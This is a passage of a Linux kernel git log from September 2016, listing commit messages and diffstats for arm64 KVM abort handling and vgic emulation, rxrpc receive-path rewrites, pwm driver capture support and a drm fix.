1b51e5fac63f35b644302f2d39ec9af44887b598 Author: Marc Zyngier Date: Tue Sep 6 14:02:04 2016 +0100 arm64: KVM: Route asynchronous aborts As we now have some basic handling to EL1-triggered aborts, we can actually report them to KVM. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/kvm/hyp/hyp-entry.S | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit 0215a6e6dd4fdbf4f7dd6e9db116aec7818ff388 Author: Marc Zyngier Date: Tue Sep 6 14:02:03 2016 +0100 arm64: KVM: Add EL1 async abort handler If we've exited the guest because it has triggered an asynchronous abort from EL1, a possible course of action is to let it know it screwed up by giving it a Virtual Abort to chew on. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/kvm/handle_exit.c | 3 +++ 1 file changed, 3 insertions(+) commit 9aecafc86ca2f4f4d7f5cbaf674f5df244221c51 Author: Marc Zyngier Date: Tue Sep 6 14:02:02 2016 +0100 arm64: KVM: Add exception code to report EL1 asynchronous aborts So far, we don't have a code to indicate that we've taken an asynchronous abort from EL1. Let's add one. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/include/asm/kvm_asm.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 10cf33900fb27a5b5a107e9c37fa249e0deb5a96 Author: Marc Zyngier Date: Tue Sep 6 14:02:01 2016 +0100 arm64: KVM: Add Virtual Abort injection helper Now that we're able to context switch the HCR_EL2.VA bit, let's introduce a helper that injects an Abort into a vcpu. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/include/asm/kvm_emulate.h | 1 + arch/arm64/kvm/inject_fault.c | 12 ++++++++++++ 2 files changed, 13 insertions(+) commit 44636f976f5bb92631f0dd5fd26547d64c2c6a80 Author: Marc Zyngier Date: Tue Sep 6 14:02:00 2016 +0100 arm64: KVM: Preserve pending vSError in world switch The HCR_EL2.VSE bit is used to signal an SError to a guest, and has the peculiar feature of getting cleared when the guest has taken the abort (this is the only bit that behaves as such in this register). This means that if we signal such an abort, we must leave it in the guest context until it disappears from HCR_EL2, and at which point it must be cleared from the context. This is achieved by reading back from HCR_EL2 until the guest takes the fault. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/kvm/hyp/switch.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 7b17145ec7de9267e24038c0621c9ed47853ae4f Author: Marc Zyngier Date: Tue Sep 6 14:01:59 2016 +0100 arm64: KVM: Rename HCR_VA to HCR_VSE HCR_VA is a leftover from ARMv7, On ARMv8, this is HCR_VSE (which stands for Virtual System Error), and has better defined semantics. Let's rename the constant. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/include/asm/kvm_arm.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a07d3b07a876d44827e62f3ef55837ebbf61c4e6 Author: Marc Zyngier Date: Tue Sep 6 09:28:47 2016 +0100 arm64: KVM: vgic-v2: Enable GICV access from HYP if access from guest is unsafe So far, we've been disabling KVM on systems where the GICV region couldn't be safely given to a guest. Now that we're able to handle this access safely by emulating it in HYP, we can enable this feature when we detect an unsafe configuration. Reviewed-by: Christoffer Dall Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall virt/kvm/arm/vgic/vgic-v2.c | 69 +++++++++++++++++++++++++++------------------ 1 file changed, 42 insertions(+), 27 deletions(-) commit bf8feb39642b4c71c644e2d534ce53029bd2219b Author: Marc Zyngier Date: Tue Sep 6 09:28:46 2016 +0100 arm64: KVM: vgic-v2: Add GICV access from HYP Now that we have the necessary infrastructure to handle MMIO accesses in HYP, perform the GICV access on behalf of the guest. This requires checking that the access is strictly 32bit, properly aligned, and falls within the expected range. When all condition are satisfied, we perform the access and tell the rest of the HYP code that the instruction has been correctly emulated. Reviewed-by: Christoffer Dall Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall include/kvm/arm_vgic.h | 3 +++ virt/kvm/arm/hyp/vgic-v2-sr.c | 39 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+) commit fb5ee369ccd3986b28adc20d43d73a2b2c141977 Author: Marc Zyngier Date: Tue Sep 6 09:28:45 2016 +0100 arm64: KVM: vgic-v2: Add the GICV emulation infrastructure In order to efficiently perform the GICV access on behalf of the guest, we need to be able to avoid going back all the way to the host kernel. For this, we introduce a new hook in the world switch code, conveniently placed just after populating the fault info. At that point, we only have saved/restored the GP registers, and we can quickly perform all the required checks (data abort, translation fault, valid faulting syndrome, not an external abort, not a PTW). Coming back from the emulation code, we need to skip the emulated instruction. This involves an additional bit of save/restore in order to be able to access the guest's PC (and possibly CPSR if this is a 32bit guest). At this stage, no emulation code is provided. Signed-off-by: Marc Zyngier Reviewed-by: Christoffer Dall Signed-off-by: Christoffer Dall arch/arm64/include/asm/kvm_hyp.h | 1 + arch/arm64/kvm/hyp/switch.c | 32 ++++++++++++++++++++++++++++++++ include/kvm/arm_vgic.h | 3 +++ virt/kvm/arm/hyp/vgic-v2-sr.c | 7 +++++++ virt/kvm/arm/vgic/vgic-v2.c | 2 ++ 5 files changed, 45 insertions(+) commit 8cebe750c4d9acdfdce41ee0a83a58be973ebc5e Author: Marc Zyngier Date: Tue Sep 6 09:28:44 2016 +0100 arm64: KVM: Make kvm_skip_instr32 available to HYP As we plan to do some emulation at HYP, let's make kvm_skip_instr32 as part of the hyp_text section. This doesn't preclude the kernel from using it. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall virt/kvm/arm/aarch32.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 3aedd5c49e63c0d31a53b00ab906d48f53abb68b Author: Marc Zyngier Date: Tue Sep 6 09:28:43 2016 +0100 arm: KVM: Use common AArch32 conditional execution code Add the bit of glue and const-ification that is required to use the code inherited from the arm64 port, and move over to it. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/include/asm/kvm_emulate.h | 34 ++++++++++--- arch/arm/kvm/Makefile | 1 + arch/arm/kvm/emulate.c | 97 -------------------------------------- virt/kvm/arm/aarch32.c | 5 ++ 4 files changed, 33 insertions(+), 104 deletions(-) commit 427d7cacf97220844aa39146e11365655bbff8bd Author: Marc Zyngier Date: Tue Sep 6 09:28:42 2016 +0100 arm64: KVM: Move the AArch32 conditional execution to common code It would make some sense to share the conditional execution code between 32 and 64bit. In order to achieve this, let's move that code to virt/kvm/arm/aarch32.c. While we're at it, drop a superfluous BUG_ON() that wasn't that useful. Following patches will migrate the 32bit port to that code base. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/kvm/emulate.c | 4 +- arch/arm64/kvm/Makefile | 3 +- arch/arm64/kvm/emulate.c | 148 ----------------------------------------------- virt/kvm/arm/aarch32.c | 146 ++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 149 insertions(+), 152 deletions(-) commit 3e51d43516b99a5ede461381b4d031998f8dbdf3 Author: Marc Zyngier Date: Tue Sep 6 09:28:41 2016 +0100 arm64: KVM: Move kvm_vcpu_get_condition out of emulate.c In order to make emulate.c more generic, move the arch-specific manupulation bits out of emulate.c. Signed-off-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm64/include/asm/kvm_emulate.h | 10 ++++++++++ arch/arm64/kvm/emulate.c | 11 ----------- 2 files changed, 10 insertions(+), 11 deletions(-) commit cb96408da4e11698674abd04aeac941c1bed2038 Author: Vladimir Murzin Date: Thu Sep 1 15:29:03 2016 +0100 arm64: KVM: VHE: reset PSTATE.PAN on entry to EL2 SCTLR_EL2.SPAN bit controls what happens with the PSTATE.PAN bit on an exception. However, this bit has no effect on the PSTATE.PAN when HCR_EL2.E2H or HCR_EL2.TGE is unset. Thus when VHE is used and exception taken from a guest PSTATE.PAN bit left unchanged and we continue with a value guest has set. To address that always reset PSTATE.PAN on entry from EL1. Fixes: 1f364c8c48a0 ("arm64: VHE: Add support for running Linux in EL2 mode") Signed-off-by: Vladimir Murzin Reviewed-by: James Morse Acked-by: Marc Zyngier Cc: # v4.6+ Signed-off-by: Christoffer Dall arch/arm64/kvm/hyp/entry.S | 2 ++ 1 file changed, 2 insertions(+) commit cf0ba18a441410aeaf3ef97eead3a3fa5381f46f Author: Christoffer Dall Date: Thu Sep 1 13:16:03 2016 +0200 KVM: arm/arm64: Get rid of exported aliases to static functions When rewriting the assembly code to C code, it was useful to have exported aliases or static functions so that we could keep the existing common C code unmodified and at the same time rewrite arm64 from assembly to C code, and later do the arm part. Now when both are done, we really don't need this level of indirection anymore, and it's time to save a few lines and brain cells. Acked-by: Marc Zyngier Signed-off-by: Christoffer Dall arch/arm/kvm/hyp/switch.c | 4 +--- arch/arm/kvm/hyp/tlb.c | 15 ++++----------- arch/arm64/kvm/hyp/debug-sr.c | 4 +--- arch/arm64/kvm/hyp/switch.c | 4 +--- arch/arm64/kvm/hyp/tlb.c | 13 +++---------- arch/arm64/kvm/hyp/vgic-v3-sr.c | 4 +--- 6 files changed, 11 insertions(+), 33 deletions(-) commit 777c155772f9a234d72b9319325d8b6abd0c0e36 Author: Mark Rutland Date: Tue Aug 30 17:05:56 2016 +0100 arm64/kvm: remove unused stub functions Now that 32-bit KVM no longer performs cache maintenance for page table updates, we no longer need empty stubs for arm64. Remove them. Signed-off-by: Mark Rutland Cc: Christoffer Dall Cc: Marc Zyngier Cc: kvmarm@lists.cs.columbia.edu Signed-off-by: Christoffer Dall arch/arm64/include/asm/kvm_mmu.h | 6 ------ 1 file changed, 6 deletions(-) commit dcadda146f4fd25a732382747f306465d337cda6 Author: Mark Rutland Date: Tue Aug 30 17:05:55 2016 +0100 arm/kvm: excise redundant cache maintenance When modifying Stage-2 page tables, we perform cache maintenance to account for non-coherent page table walks. However, this is unnecessary, as page table walks are guaranteed to be coherent in the presence of the virtualization extensions. Per ARM DDI 0406C.c, section B1.7 ("The Virtualization Extensions"), the virtualization extensions mandate the multiprocessing extensions. Per ARM DDI 0406C.c, section B3.10.1 ("General TLB maintenance requirements"), as described in the sub-section titled "TLB maintenance operations and the memory order model", this maintenance is not required in the presence of the multiprocessing extensions. Hence, we need not perform this cache maintenance when modifying Stage-2 entries. This patch removes the logic for performing the redundant maintenance. To ensure visibility and ordering of updates, a dsb(ishst) that was otherwise implicit in the maintenance is folded into kvm_set_pmd() and kvm_set_pte(). Signed-off-by: Mark Rutland Cc: Christoffer Dall Cc: Marc Zyngier Cc: kvmarm@lists.cs.columbia.edu Signed-off-by: Christoffer Dall arch/arm/include/asm/kvm_mmu.h | 28 ++-------------------------- arch/arm/kvm/mmu.c | 2 -- 2 files changed, 2 insertions(+), 28 deletions(-) commit 55d7cad6a98bbd6f8a5a98b9943b6819d7dc1f22 Author: Marc Zyngier Date: Tue Aug 30 18:54:19 2016 +0100 KVM: arm: vgic: Drop build compatibility hack for older kernel versions As kvm_set_routing_entry() was changing prototype between 4.7 and 4.8, an ugly hack was put in place in order to survive both building in -next and the merge window. Now that everything has been merged, let's dump the compatibility hack for good. Signed-off-by: Marc Zyngier Reviewed-by: Eric Auger Signed-off-by: Christoffer Dall virt/kvm/arm/vgic/vgic-irqfd.c | 6 ------ 1 file changed, 6 deletions(-) commit 68381b2b00f728a6c910e777bd62986c951323a3 Author: Shanker Donthineni Date: Tue Aug 30 21:08:32 2016 -0500 arm64: KVM: Optimize __guest_enter/exit() to save a few instructions We are doing an unnecessary stack push/pop operation when restoring the guest registers x0-x18 in __guest_enter(). This patch saves the two instructions by using x18 as a base register. No need to store the vcpu context pointer in stack because it is redundant, the same information is available in tpidr_el2. The function __guest_exit() calling convention is slightly modified, caller only pushes the regs x0-x1 to stack instead of regs x0-x3. Signed-off-by: Shanker Donthineni Reviewed-by: Christoffer Dall Signed-off-by: Christoffer Dall arch/arm64/kvm/hyp/entry.S | 101 ++++++++++++++++++++--------------------- arch/arm64/kvm/hyp/hyp-entry.S | 37 ++++++--------- 2 files changed, 63 insertions(+), 75 deletions(-) commit 1fe0009833892f950d6955b8c77c5b00e7700802 Author: Christoffer Dall Date: Tue Aug 16 16:52:14 2016 +0200 KVM: arm/arm64: Rename vgic_attr_regs_access to vgic_attr_regs_access_v2 Just a rename so we can implement a v3-specific function later. We take the chance to get rid of the V2/V3 ops comments as well. No functional change. Signed-off-by: Christoffer Dall Reviewed-by: Eric Auger virt/kvm/arm/vgic/vgic-kvm-device.c | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) commit ba7b9169b52038ce017782479c6a24cd37f34ae5 Author: Christoffer Dall Date: Tue Aug 16 16:48:20 2016 +0200 KVM: arm/arm64: Factor out vgic_attr_regs_access functionality As we are about to deal with multiple data types and situations where the vgic should not be initialized when doing userspace accesses on the register attributes, factor out the functionality of vgic_attr_regs_access into smaller bits which can be reused by a new function later. Signed-off-by: Christoffer Dall Reviewed-by: Eric Auger virt/kvm/arm/vgic/vgic-kvm-device.c | 100 ++++++++++++++++++++++++++---------- 1 file changed, 73 insertions(+), 27 deletions(-) commit 714848026531043ae06ca7bcd4a852c8bb8348c7 Author: Christoffer Dall Date: Fri May 13 16:41:41 2016 +0200 KVM: arm/arm64: Add VGICv3 save/restore API documentation Factor out the GICv3 and ITS-specific documentation into a separate documentation file. Add description for how to access distributor, redistributor, and CPU interface registers for GICv3 in this new file, and add a group for accessing level triggered IRQ information for GICv3 as well. Reviewed-by: Marc Zyngier Reviewed-by: Peter Maydell Signed-off-by: Christoffer Dall Documentation/virtual/kvm/devices/arm-vgic-its.txt | 38 ++++ Documentation/virtual/kvm/devices/arm-vgic-v3.txt | 206 +++++++++++++++++++++ Documentation/virtual/kvm/devices/arm-vgic.txt | 52 ++---- 3 files changed, 261 insertions(+), 35 deletions(-) commit 248f219cb8bcbfbd7f132752d44afa2df7c241d1 Author: David Howells Date: Thu Sep 8 11:10:12 2016 +0100 rxrpc: Rewrite the data and ack handling code Rewrite the data and ack handling code such that: (1) Parsing of received ACK and ABORT packets and the distribution and the filing of DATA packets happens entirely within the data_ready context called from the UDP socket. This allows us to process and discard ACK and ABORT packets much more quickly (they're no longer stashed on a queue for a background thread to process). (2) We avoid calling skb_clone(), pskb_pull() and pskb_trim(). We instead keep track of the offset and length of the content of each packet in the sk_buff metadata. This means we don't do any allocation in the receive path. (3) Jumbo DATA packet parsing is now done in data_ready context. Rather than cloning the packet once for each subpacket and pulling/trimming it, we file the packet multiple times with an annotation for each indicating which subpacket is there. From that we can directly calculate the offset and length. (4) A call's receive queue can be accessed without taking locks (memory barriers do have to be used, though). (5) Incoming calls are set up from preallocated resources and immediately made live. They can than have packets queued upon them and ACKs generated. If insufficient resources exist, DATA packet #1 is given a BUSY reply and other DATA packets are discarded). (6) sk_buffs no longer take a ref on their parent call. To make this work, the following changes are made: (1) Each call's receive buffer is now a circular buffer of sk_buff pointers (rxtx_buffer) rather than a number of sk_buff_heads spread between the call and the socket. This permits each sk_buff to be in the buffer multiple times. The receive buffer is reused for the transmit buffer. (2) A circular buffer of annotations (rxtx_annotations) is kept parallel to the data buffer. Transmission phase annotations indicate whether a buffered packet has been ACK'd or not and whether it needs retransmission. Receive phase annotations indicate whether a slot holds a whole packet or a jumbo subpacket and, if the latter, which subpacket. They also note whether the packet has been decrypted in place. (3) DATA packet window tracking is much simplified. Each phase has just two numbers representing the window (rx_hard_ack/rx_top and tx_hard_ack/tx_top). The hard_ack number is the sequence number before base of the window, representing the last packet the other side says it has consumed. hard_ack starts from 0 and the first packet is sequence number 1. The top number is the sequence number of the highest-numbered packet residing in the buffer. Packets between hard_ack+1 and top are soft-ACK'd to indicate they've been received, but not yet consumed. Four macros, before(), before_eq(), after() and after_eq() are added to compare sequence numbers within the window. This allows for the top of the window to wrap when the hard-ack sequence number gets close to the limit. Two flags, RXRPC_CALL_RX_LAST and RXRPC_CALL_TX_LAST, are added also to indicate when rx_top and tx_top point at the packets with the LAST_PACKET bit set, indicating the end of the phase. (4) Calls are queued on the socket 'receive queue' rather than packets. This means that we don't need have to invent dummy packets to queue to indicate abnormal/terminal states and we don't have to keep metadata packets (such as ABORTs) around (5) The offset and length of a (sub)packet's content are now passed to the verify_packet security op. This is currently expected to decrypt the packet in place and validate it. However, there's now nowhere to store the revised offset and length of the actual data within the decrypted blob (there may be a header and padding to skip) because an sk_buff may represent multiple packets, so a locate_data security op is added to retrieve these details from the sk_buff content when needed. (6) recvmsg() now has to handle jumbo subpackets, where each subpacket is individually secured and needs to be individually decrypted. The code to do this is broken out into rxrpc_recvmsg_data() and shared with the kernel API. It now iterates over the call's receive buffer rather than walking the socket receive queue. Additional changes: (1) The timers are condensed to a single timer that is set for the soonest of three timeouts (delayed ACK generation, DATA retransmission and call lifespan). (2) Transmission of ACK and ABORT packets is effected immediately from process-context socket ops/kernel API calls that cause them instead of them being punted off to a background work item. The data_ready handler still has to defer to the background, though. (3) A shutdown op is added to the AF_RXRPC socket so that the AFS filesystem can shut down the socket and flush its own work items before closing the socket to deal with any in-progress service calls. Future additional changes that will need to be considered: (1) Make sure that a call doesn't hog the front of the queue by receiving data from the network as fast as userspace is consuming it to the exclusion of other calls. (2) Transmit delayed ACKs from within recvmsg() when we've consumed sufficiently more packets to avoid the background work item needing to run. Signed-off-by: David Howells fs/afs/rxrpc.c | 51 +- include/net/af_rxrpc.h | 3 - include/rxrpc/packet.h | 7 + net/rxrpc/af_rxrpc.c | 57 +- net/rxrpc/ar-internal.h | 177 +++--- net/rxrpc/call_accept.c | 472 +++++++--------- net/rxrpc/call_event.c | 1357 +++++++--------------------------------------- net/rxrpc/call_object.c | 535 +++++------------- net/rxrpc/conn_event.c | 137 +---- net/rxrpc/conn_object.c | 6 +- net/rxrpc/conn_service.c | 101 +--- net/rxrpc/input.c | 1044 ++++++++++++++++++----------------- net/rxrpc/insecure.c | 13 +- net/rxrpc/local_event.c | 2 +- net/rxrpc/local_object.c | 7 - net/rxrpc/misc.c | 2 +- net/rxrpc/output.c | 125 ++++- net/rxrpc/peer_event.c | 17 +- net/rxrpc/peer_object.c | 82 ++- net/rxrpc/recvmsg.c | 764 ++++++++++++++------------ net/rxrpc/rxkad.c | 108 +++- net/rxrpc/security.c | 10 +- net/rxrpc/sendmsg.c | 126 ++--- net/rxrpc/skbuff.c | 127 ----- 24 files changed, 1993 insertions(+), 3337 deletions(-) commit 00e907127e6f86d0f9b122d9b4347a8aa09a8b61 Author: David Howells Date: Thu Sep 8 11:10:12 2016 +0100 rxrpc: Preallocate peers, conns and calls for incoming service requests Make it possible for the data_ready handler called from the UDP transport socket to completely instantiate an rxrpc_call structure and make it immediately live by preallocating all the memory it might need. The idea is to cut out the background thread usage as much as possible. [Note that the preallocated structs are not actually used in this patch - that will be done in a future patch.] If insufficient resources are available in the preallocation buffers, it will be possible to discard the DATA packet in the data_ready handler or schedule a BUSY packet without the need to schedule an attempt at allocation in a background thread. To this end: (1) Preallocate rxrpc_peer, rxrpc_connection and rxrpc_call structs to a maximum number each of the listen backlog size. The backlog size is limited to a maxmimum of 32. Only this many of each can be in the preallocation buffer. (2) For userspace sockets, the preallocation is charged initially by listen() and will be recharged by accepting or rejecting pending new incoming calls. (3) For kernel services {,re,dis}charging of the preallocation buffers is handled manually. Two notifier callbacks have to be provided before kernel_listen() is invoked: (a) An indication that a new call has been instantiated. This can be used to trigger background recharging. (b) An indication that a call is being discarded. This is used when the socket is being released. A function, rxrpc_kernel_charge_accept() is called by the kernel service to preallocate a single call. It should be passed the user ID to be used for that call and a callback to associate the rxrpc call with the kernel service's side of the ID. (4) Discard the preallocation when the socket is closed. (5) Temporarily bump the refcount on the call allocated in rxrpc_incoming_call() so that rxrpc_release_call() can ditch the preallocation ref on service calls unconditionally. This will no longer be necessary once the preallocation is used. Note that this does not yet control the number of active service calls on a client - that will come in a later patch. A future development would be to provide a setsockopt() call that allows a userspace server to manually charge the preallocation buffer. This would allow user call IDs to be provided in advance and the awkward manual accept stage to be bypassed. Signed-off-by: David Howells fs/afs/rxrpc.c | 71 ++++++++++++++- include/net/af_rxrpc.h | 10 ++- net/rxrpc/af_rxrpc.c | 16 +++- net/rxrpc/ar-internal.h | 32 ++++++- net/rxrpc/call_accept.c | 229 +++++++++++++++++++++++++++++++++++++++++++++++ net/rxrpc/call_object.c | 12 ++- net/rxrpc/conn_object.c | 2 + net/rxrpc/conn_service.c | 24 +++++ net/rxrpc/input.c | 2 +- net/rxrpc/proc.c | 8 +- 10 files changed, 391 insertions(+), 15 deletions(-) commit 49e19ec7d3499f79d2b3a45bb28418e89512fd7a Author: David Howells Date: Thu Sep 8 11:10:12 2016 +0100 rxrpc: Add tracepoints to record received packets and end of data_ready Add two tracepoints: (1) Record the RxRPC protocol header of packets retrieved from the UDP socket by the data_ready handler. (2) Record the outcome of the data_ready handler. Signed-off-by: David Howells include/trace/events/rxrpc.h | 38 ++++++++++++++++++++++++++++++++++++++ net/rxrpc/input.c | 8 ++++++-- 2 files changed, 44 insertions(+), 2 deletions(-) commit 2ab27215ea27475a0b279732ba8a934bfab57ef0 Author: David Howells Date: Thu Sep 8 11:10:12 2016 +0100 rxrpc: Remove skb_count from struct rxrpc_call Remove the sk_buff count from the rxrpc_call struct as it's less useful once we stop queueing sk_buffs. Signed-off-by: David Howells include/trace/events/rxrpc.h | 10 +++------- net/rxrpc/ar-internal.h | 1 - net/rxrpc/call_object.c | 34 ++++++++++++---------------------- 3 files changed, 15 insertions(+), 30 deletions(-) commit de8d6c7401ae8f25db3788804c86887ad7347bee Author: David Howells Date: Thu Sep 8 11:10:11 2016 +0100 rxrpc: Convert rxrpc_local::services to an hlist Convert the rxrpc_local::services list to an hlist so that it can be accessed under RCU conditions more readily. Signed-off-by: David Howells net/rxrpc/af_rxrpc.c | 10 +++++----- net/rxrpc/ar-internal.h | 4 ++-- net/rxrpc/call_accept.c | 2 +- net/rxrpc/local_object.c | 4 ++-- net/rxrpc/security.c | 2 +- 5 files changed, 11 insertions(+), 11 deletions(-) commit 18f1387c7d7c6827b3ed6adf6ae20f65a58dc7b0 Author: David Howells Date: Thu Sep 8 11:10:11 2016 +0100 rxrpc: Update protocol definitions slightly Update the protocol definitions in include/rxrpc/packet.h slightly: (1) Get rid of RXRPC_PROCESS_MAXCALLS as it's redundant (same as RXRPC_MAXCALLS). (2) In struct rxrpc_jumbo_header, put _rsvd in a union with a field called cksum to match struct rxrpc_wire_header. (3) Provide RXRPC_JUMBO_SUBPKTLEN which is the total of the amount of data in a non-terminal subpacket plus the following secondary header for the next packet included in the jumbo packet. Signed-off-by: David Howells include/rxrpc/packet.h | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit cf13258fd4cb86478dfcb7e2c93a0d844307abc6 Author: David Howells Date: Thu Sep 8 11:10:11 2016 +0100 rxrpc: Fix ASSERTCMP and ASSERTIFCMP to handle signed values Fix ASSERTCMP and ASSERTIFCMP to be able to handle signed values by casting both parameters to the type of the first before comparing. Without this, both values are cast to unsigned long, which means that checks for values less than zero don't work. The downside of this is that the state enum values in struct rxrpc_call and struct rxrpc_connection can't be bitfields as __typeof__ can't handle them. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) commit ee5e41b5f21a5438664effce1ba5bdd11e03ee24 Author: Robin Murphy Date: Thu Sep 8 11:02:20 2016 +0100 arm64/io: Allow I/O writes to use {W,X}ZR When zeroing an I/O location, the current accessors are forced to allocate a temporary register to store the zero for the write. By tweaking the assembly constraints, we can allow the compiler to use the zero register directly in such cases, and save some juggling. Compiling a representative kernel configuration with GCC 6 shows that 2.3KB worth of code can be wasted just on that! text data bss dec hex filename 13316776 3248256 18176769 34741801 2121e29 vmlinux.o.new 13319140 3248256 18176769 34744165 2122765 vmlinux.o.old Acked-by: Mark Rutland Signed-off-by: Robin Murphy Signed-off-by: Will Deacon arch/arm64/include/asm/io.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit dc8e6e1e8f2d2719dd396708b0f56d8b73c9ea52 Merge: 51f01e4 2fbc487 Author: Thierry Reding Date: Thu Sep 8 10:59:30 2016 +0200 Merge branch 'for-4.9/drivers' into for-next commit 51f01e4cbaf321effa75a21611ed5c34ea7cc583 Merge: 29b4817 0733424 Author: Thierry Reding Date: Thu Sep 8 10:59:29 2016 +0200 Merge branch 'for-4.9/core' into for-next commit 2fbc487df6e6927bc0a0092f86d4d15961e070de Author: Arnd Bergmann Date: Tue Sep 6 14:50:47 2016 +0200 pwm: meson: Handle unknown ID values When building with -Wmaybe-uninitialized, we get a couple of harmless warnings about three functions in this new driver that don't look safe to the compiler: drivers/pwm/pwm-meson.c: In function 'meson_pwm_get_state': drivers/pwm/pwm-meson.c:355:26: error: 'mask' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/pwm/pwm-meson.c: In function 'meson_pwm_disable': drivers/pwm/pwm-meson.c:263:13: error: 'enable' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/pwm/pwm-meson.c: In function 'meson_pwm_apply': drivers/pwm/pwm-meson.c:231:13: error: 'clk_shift' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/pwm/pwm-meson.c:231:36: error: 'enable' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/pwm/pwm-meson.c:231:24: error: 'clk_enable' may be used uninitialized in this function [-Werror=maybe-uninitialized] Specifically, if we have a device with an ID other than 0 or 1, this would result in undefined behavior. This is currently not possible, but the compiler cannot be expected to know this. This patch adds a 'default' clause to let the compiler know what to do instead, which shuts up the warning and makes the code slightly more resiliant in case it gets extended to other identifiers. Signed-off-by: Arnd Bergmann Acked-by: Neil Armstrong Signed-off-by: Thierry Reding drivers/pwm/pwm-meson.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit dec90ea1456b5a5d990d94ade2e45a2457cfd149 Author: Imre Deak Date: Wed Sep 7 20:23:45 2016 +0300 drm: Fix error path in drm_mode_page_flip_ioctl() This fixes the error path for platforms that don't define the new page_flip_target() hook. Fixes: c229bfbbd04 ("drm: Add page_flip_target CRTC hook v2") Testcase: igt/kms_flip/basic-flip-vs-dpms CC: Michel Dänzer Signed-off-by: Imre Deak Reviewed-by: Michel Dänzer Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1473269025-16148-1-git-send-email-imre.deak@intel.com drivers/gpu/drm/drm_crtc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7d8a600c916cab347662de212340d3eaf0e93db2 Author: Lee Jones Date: Tue Aug 16 10:35:07 2016 +0100 pwm: sti: Take the opportunity to conduct a little house keeping This includes fixing some Coding Style issues and re-ordering and/or simplifying a little code. Signed-off-by: Lee Jones [thierry.reding@gmail.com: applied some bikeshedding> Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 153 ++++++++++++++++++++++++++------------------------ 1 file changed, 81 insertions(+), 72 deletions(-) commit 85a834c42a491deed9ac5bca549b93b7a5455d84 Author: Lee Jones Date: Tue Aug 16 10:35:06 2016 +0100 pwm: sti: It's now valid for number of PWM channels to be zero Setting up the STI PWM IP as capture only, with zero PWM output devices is a perfectly valid configuration. It is no longer okay to assume that there must be at least 1 PWM output device. In this patch we make the default number of PWM output devices zero and only configure channels explicitly requested. Reported-by: Peter Griffin Signed-off-by: Lee Jones Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit c97267ae831da2711e9592398d490dbd1f4d5ddd Author: Lee Jones Date: Tue Aug 16 10:35:05 2016 +0100 pwm: sti: Add PWM capture callback Once a PWM capture has been initiated, the capture call enables a rising edge detection interrupt, then waits. Once each of the 3 phase changes have been recorded the thread then wakes. The remaining part of the call carries out the relevant calculations and returns a structure filled out with the capture data. Signed-off-by: Lee Jones Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 88 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 88 insertions(+) commit 25eb53809674a875c64da7f6e1ab9695684e431a Author: Lee Jones Date: Tue Aug 16 10:35:04 2016 +0100 pwm: sti: Add support for PWM capture interrupts Here we're requesting the PWM capture IRQ and supplying the handler that will be called in the event of an interrupt to handle it. Signed-off-by: Lee Jones Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 92 ++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 91 insertions(+), 1 deletion(-) commit 3f0925b5a864abded423dcedf86ec118139aa047 Author: Lee Jones Date: Tue Aug 16 10:35:03 2016 +0100 pwm: sti: Initialise PWM capture device data Each PWM capture device is allocated a structure to hold its own state. During a capture the device may be partaking in one of 3 phases. Initial (rising) phase change, a subsequent (falling) phase change indicating end of the duty-cycle phase and finally a final (rising) phase change indicating the end of the period. The timer value snapshot each event is held in a variable of the same name, and the phase number (0, 1, 2) is contained in the index variable. Other device specific information, such as GPIO pin, the IRQ wait queue and locking is also contained in the structure. This patch initialises this structure for each of the available devices. Signed-off-by: Lee Jones Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 45 ++++++++++++++++++++++++++++++++++++++------- 1 file changed, 38 insertions(+), 7 deletions(-) commit d66a928dc08f59b2c03bc22e910b058b4ea01f92 Author: Lee Jones Date: Tue Aug 16 10:35:02 2016 +0100 pwm: sti: Supply PWM Capture clock handling ST's PWM IP is supplied by 2 different clocks. One for PWM output and the other for capture. This patch provides clock handling for the latter. Signed-off-by: Lee Jones Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit f66d78faf2dc4845e06d42854769968c4166fe6c Author: Lee Jones Date: Tue Aug 16 10:35:01 2016 +0100 pwm: sti: Supply PWM capture register addresses and bit locations This is in preparation for 